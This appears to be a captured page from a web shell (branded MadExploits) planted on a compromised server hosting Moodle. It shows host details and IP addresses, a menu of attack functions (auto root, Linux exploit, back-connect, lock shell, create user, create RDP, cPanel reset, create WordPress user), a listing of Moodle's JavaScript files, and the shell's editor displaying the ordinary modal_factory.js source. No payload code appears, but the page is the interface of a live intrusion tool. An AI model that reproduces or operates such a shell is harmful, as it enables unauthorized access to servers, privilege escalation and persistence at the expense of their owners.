Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.22
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
emoji
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
adapter.js
190.74
KB
-rw-r--r--
addblockmodal.js
2.52
KB
-rw-r--r--
ajax.js
11.97
KB
-rw-r--r--
aria.js
1011
B
-rw-r--r--
auto_rows.js
3.46
KB
-rw-r--r--
autoscroll.js
6.49
KB
-rw-r--r--
backoff_timer.js
4.98
KB
-rw-r--r--
chart_axis.js
7.39
KB
-rw-r--r--
chart_bar.js
3.08
KB
-rw-r--r--
chart_base.js
11.36
KB
-rw-r--r--
chart_builder.js
1.65
KB
-rw-r--r--
chart_line.js
2.08
KB
-rw-r--r--
chart_output.js
1.08
KB
-rw-r--r--
chart_output_base.js
2.03
KB
-rw-r--r--
chart_output_chartjs.js
10.83
KB
-rw-r--r--
chart_output_htmltable.js
3.3
KB
-rw-r--r--
chart_pie.js
3.03
KB
-rw-r--r--
chart_series.js
8.35
KB
-rw-r--r--
chartjs-lazy.js
670.93
KB
-rw-r--r--
chartjs.js
913
B
-rw-r--r--
checkbox-toggleall.js
12.78
KB
-rw-r--r--
config.js
1002
B
-rw-r--r--
custom_interaction_events.js
22.18
KB
-rw-r--r--
dragdrop.js
12.92
KB
-rw-r--r--
drawer.js
3.49
KB
-rw-r--r--
drawer_events.js
967
B
-rw-r--r--
event.js
3.97
KB
-rw-r--r--
first.js
1.36
KB
-rw-r--r--
form-autocomplete.js
50.77
KB
-rw-r--r--
form-cohort-selector.js
2.46
KB
-rw-r--r--
form-course-selector.js
3.77
KB
-rw-r--r--
fragment.js
4.64
KB
-rw-r--r--
fullscreen.js
1.62
KB
-rw-r--r--
icon_system.js
2.56
KB
-rw-r--r--
icon_system_fontawesome.js
4.01
KB
-rw-r--r--
icon_system_standard.js
2.3
KB
-rw-r--r--
inplace_editable.js
13.29
KB
-rw-r--r--
key_codes.js
1.34
KB
-rw-r--r--
loadingicon.js
3.87
KB
-rw-r--r--
localstorage.js
2.08
KB
-rw-r--r--
log.js
1.74
KB
-rw-r--r--
loglevel.js
9.66
KB
-rw-r--r--
modal.js
28.21
KB
-rw-r--r--
modal_backdrop.js
4.46
KB
-rw-r--r--
modal_cancel.js
1.44
KB
-rw-r--r--
modal_events.js
1.27
KB
-rw-r--r--
modal_factory.js
8.65
KB
-rw-r--r--
modal_registry.js
2.38
KB
-rw-r--r--
modal_save_cancel.js
2.16
KB
-rw-r--r--
mustache.js
26.69
KB
-rw-r--r--
network.js
8.02
KB
-rw-r--r--
normalise.js
1.6
KB
-rw-r--r--
notification.js
8.86
KB
-rw-r--r--
page_global.js
5.38
KB
-rw-r--r--
paged_content.js
2.87
KB
-rw-r--r--
paged_content_events.js
1.17
KB
-rw-r--r--
paged_content_factory.js
20.68
KB
-rw-r--r--
paged_content_pages.js
11.75
KB
-rw-r--r--
paged_content_paging_bar.js
20.34
KB
-rw-r--r--
paged_content_paging_bar_limit...
2.36
KB
-rw-r--r--
paged_content_paging_dropdown....
7.36
KB
-rw-r--r--
pending.js
1.57
KB
-rw-r--r--
permissionmanager.js
9.77
KB
-rw-r--r--
popover_region_controller.js
12.52
KB
-rw-r--r--
popper.js
79.2
KB
-rw-r--r--
prefetch.js
5.85
KB
-rw-r--r--
pubsub.js
2.17
KB
-rw-r--r--
sessionstorage.js
2.22
KB
-rw-r--r--
showhidesettings.js
11.82
KB
-rw-r--r--
sortable_list.js
29.51
KB
-rw-r--r--
storagewrapper.js
5.15
KB
-rw-r--r--
str.js
7.84
KB
-rw-r--r--
tag.js
19.77
KB
-rw-r--r--
templates.js
49.66
KB
-rw-r--r--
toast.js
3.05
KB
-rw-r--r--
tooltip.js
4.09
KB
-rw-r--r--
tree.js
18.12
KB
-rw-r--r--
truncate.js
6.56
KB
-rw-r--r--
url.js
3.65
KB
-rw-r--r--
user_date.js
9.32
KB
-rw-r--r--
userfeedback.js
2.91
KB
-rw-r--r--
utils.js
2.73
KB
-rw-r--r--
yui.js
1.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : modal_factory.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Create a modal. * * @module core/modal_factory * @copyright 2016 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define(['jquery', 'core/modal_events', 'core/modal_registry', 'core/modal', 'core/modal_save_cancel', 'core/modal_cancel', 'core/local/modal/alert', 'core/templates', 'core/notification', 'core/custom_interaction_events', 'core/pending'], function($, ModalEvents, ModalRegistry, Modal, ModalSaveCancel, ModalCancel, ModalAlert, Templates, Notification, CustomEvents, Pending) { // The templates for each type of modal. var TEMPLATES = { DEFAULT: 'core/modal', SAVE_CANCEL: 'core/modal_save_cancel', CANCEL: 'core/modal_cancel', ALERT: 'core/local/modal/alert', }; /** * The available types of modals. * * @constant * @static * @public * @property {String} DEFAULT The default modal * @property {String} SAVE_CANCEL A modal which can be used to either save, or cancel. * @property {String} CANCEL A modal which displayed a cancel button * @property {String} ALERT An information modal which only displays information. */ var TYPES = { DEFAULT: 'DEFAULT', SAVE_CANCEL: 'SAVE_CANCEL', CANCEL: 'CANCEL', ALERT: 'ALERT', }; // Register the common set of modals. ModalRegistry.register(TYPES.DEFAULT, Modal, TEMPLATES.DEFAULT); ModalRegistry.register(TYPES.SAVE_CANCEL, ModalSaveCancel, TEMPLATES.SAVE_CANCEL); ModalRegistry.register(TYPES.CANCEL, ModalCancel, TEMPLATES.CANCEL); ModalRegistry.register(TYPES.ALERT, ModalAlert, TEMPLATES.ALERT); /** * Set up the events required to show the modal and return focus when the modal * is closed. * * @method setUpTrigger * @private * @param {Promise} modalPromise The modal instance * @param {object} triggerElement The jQuery element to open the modal * @param {object} modalConfig The modal configuration given to the factory */ var setUpTrigger = function(modalPromise, triggerElement, modalConfig) { // The element that actually shows the modal. var actualTriggerElement = null; // Check if the client has provided a callback function to be called // before the modal is displayed. var hasPreShowCallback = (typeof modalConfig.preShowCallback == 'function'); // Function to handle the trigger element being activated. var triggeredCallback = function(e, data) { var pendingPromise = new Pending('core/modal_factory:setUpTrigger:triggeredCallback'); actualTriggerElement = $(e.currentTarget); modalPromise.then(function(modal) { if (hasPreShowCallback) { // If the client provided a pre-show callback then execute // it now before showing the modal. modalConfig.preShowCallback(actualTriggerElement, modal); } modal.show(); return modal; }) .then(pendingPromise.resolve); data.originalEvent.preventDefault(); }; // The trigger element can either be a single element or it can be an // element + selector pair to create a delegated event handler to trigger // the modal. if (Array.isArray(triggerElement)) { var selector = triggerElement[1]; triggerElement = triggerElement[0]; CustomEvents.define(triggerElement, [CustomEvents.events.activate]); triggerElement.on(CustomEvents.events.activate, selector, triggeredCallback); } else { CustomEvents.define(triggerElement, [CustomEvents.events.activate]); triggerElement.on(CustomEvents.events.activate, triggeredCallback); } modalPromise.then(function(modal) { modal.getRoot().on(ModalEvents.hidden, function() { // Focus on the trigger element that actually launched the modal. if (actualTriggerElement !== null) { actualTriggerElement.focus(); } }); return modal; }); }; /** * Create the correct instance of a modal based on the givem type. Sets up * the trigger between the modal and the trigger element. * * @method createFromElement * @private * @param {object} registryConf A config from the ModalRegistry * @param {object} modalElement The modal HTML jQuery object * @return {object} Modal instance */ var createFromElement = function(registryConf, modalElement) { modalElement = $(modalElement); var Module = registryConf.module; var modal = new Module(modalElement); return modal; }; /** * Create the correct modal instance for the given type, including loading * the correct template. * * @method createFromType * @private * @param {object} registryConf A config from the ModalRegistry * @param {object} templateContext The context to render the template with * @returns {promise} Resolved with a Modal instance */ var createFromType = function(registryConf, templateContext) { var templateName = registryConf.template; var modalPromise = Templates.render(templateName, templateContext) .then(function(html) { var modalElement = $(html); return createFromElement(registryConf, modalElement); }) .fail(Notification.exception); return modalPromise; }; /** * Create a Modal instance. * * @method create * @param {object} modalConfig The configuration to create the modal instance * @param {object} triggerElement The trigger HTML jQuery object * @return {promise} Resolved with a Modal instance */ var create = function(modalConfig, triggerElement) { var type = modalConfig.type || TYPES.DEFAULT; var isLarge = modalConfig.large ? true : false; // If 'scrollable' is not configured, set the modal to be scrollable by default. var isScrollable = modalConfig.hasOwnProperty('scrollable') ? modalConfig.scrollable : true; var registryConf = null; var templateContext = {}; registryConf = ModalRegistry.get(type); if (!registryConf) { Notification.exception({message: 'Unable to find modal of type: ' + type}); } if (typeof modalConfig.templateContext != 'undefined') { templateContext = modalConfig.templateContext; } var modalPromise = createFromType(registryConf, templateContext) .then(function(modal) { if (typeof modalConfig.title != 'undefined') { modal.setTitle(modalConfig.title); } if (typeof modalConfig.body != 'undefined') { modal.setBody(modalConfig.body); } if (typeof modalConfig.footer != 'undefined') { modal.setFooter(modalConfig.footer); } if (modalConfig.buttons) { Object.entries(modalConfig.buttons).forEach(function([key, value]) { modal.setButtonText(key, value); }); } if (isLarge) { modal.setLarge(); } if (typeof modalConfig.removeOnClose !== 'undefined') { // If configured remove the modal when hiding it. modal.setRemoveOnClose(modalConfig.removeOnClose); } modal.setScrollable(isScrollable); return modal; }); if (typeof triggerElement != 'undefined') { setUpTrigger(modalPromise, triggerElement, modalConfig); } return modalPromise; }; return { create: create, types: TYPES, }; });
Close